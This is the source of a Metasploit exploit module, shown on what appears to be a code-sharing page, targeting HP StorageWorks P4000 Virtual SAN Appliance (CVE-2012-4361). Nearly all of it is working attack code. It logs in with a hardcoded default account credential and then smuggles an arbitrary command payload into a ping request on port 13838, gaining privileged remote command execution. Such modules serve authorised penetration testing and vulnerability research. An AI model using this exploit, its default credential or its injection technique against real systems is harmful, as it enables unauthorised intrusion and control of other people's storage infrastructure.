Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info={})
12
    super(update_info(info,
13
      'Name'           => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
14
      'Description'    => %q{
15
          This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
16
        versions prior to 9.5. By using a default account credential, it is possible
17
        to inject arbitrary commands as part of a ping request via port 13838.
18
      },
19
      'License'        => MSF_LICENSE,
20
      'Author'         =>
21
        [
22
          'Nicolas Gregoire',  #Discovery, PoC, additional assistance
23
          'sinn3r'             #Metasploit module
24
        ],
25
      'References'     =>
26
        [
27
          ['CVE', '2012-4361'],
28
          ['OSVDB', '82087'],
29
          ['EDB', '18893'],
30
          ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
31
          ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086'],
32
          ['URL', 'http://www.agarri.fr/blog/archives/2012/02/index.html'] # Original Disclosure
33
        ],
34
      'Payload'        =>
35
        {
36
          'BadChars' => "/",
37
          'Compat'   =>
38
            {
39
              'PayloadType' => 'cmd',
40
              'RequiredCmd' => 'generic perl telnet'
41
            }
42
        },
43
      'DefaultOptions'  =>
44
        {
45
          'EXITFUNC' => 'thread'
46
        },
47
      'Platform'       => %w{ linux unix },
48
      'Arch'           => ARCH_CMD,
49
      'Targets'        =>
50
        [
51
          [ 'Automatic',        {} ],
52
          [ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ],
53
          [ 'HP VSA 9',         { 'Version' => '9.0.0' } ]
54
        ],
55
      'Privileged'     => true,
56
      'DisclosureDate' => '2011-11-11',
57
      'DefaultTarget'  => 0))
58

59
    register_options(
60
      [
61
        OptPort.new('RPORT', [true, 'The remote port', 13838])
62
      ])
63
  end
64

65

66
  def generate_packet(data)
67
    pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
68
    pkt << [data.length + 1].pack("N*")
69
    pkt << "\x00\x00\x00\x00"
70
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
71
    pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
72
    pkt << data
73
    pkt << "\x00"
74

75
    pkt
76
  end
77

78
  def get_target
79
    if target.name !~ /Automatic/
80
      return target
81
    end
82

83
    # Login at 8.5.0
84
    packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
85
    print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0")
86
    sock.put(packet)
87
    res = sock.get_once
88
    vprint_status(Rex::Text.to_hex_dump(res)) if res
89
    if res and res=~ /OK/ and res=~ /Login/
90
      return targets[1]
91
    end
92

93
    # Login at 9.0.0
94
    packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"")
95
    print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0")
96
    sock.put(packet)
97
    res = sock.get_once
98
    vprint_status(Rex::Text.to_hex_dump(res)) if res
99
    if res and res=~ /OK/ and res =~ /Login/
100
      return targets[2]
101
    end
102

103
    fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'")
104
  end
105

106
  def exploit
107
    connect
108

109
    if target.name =~ /Automatic/
110
      my_target = get_target
111
      print_good("#{rhost}:#{rport} - Target #{my_target.name} found")
112
    else
113
      my_target = target
114
      print_status("#{rhost}:#{rport} Sending login packet")
115
      packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"")
116
      sock.put(packet)
117
      res = sock.get_once
118
      vprint_status(Rex::Text.to_hex_dump(res)) if res
119
    end
120

121
    # Command execution
122
    print_status("#{rhost}:#{rport} Sending injection")
123
    data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
124
    data << "64/5/" if my_target.name =~ /9/
125
    packet = generate_packet(data)
126
    sock.put(packet)
127
    res = sock.get_once
128
    vprint_status(Rex::Text.to_hex_dump(res)) if res
129

130
    handler
131
    disconnect
132
  end
133
end
134

135

136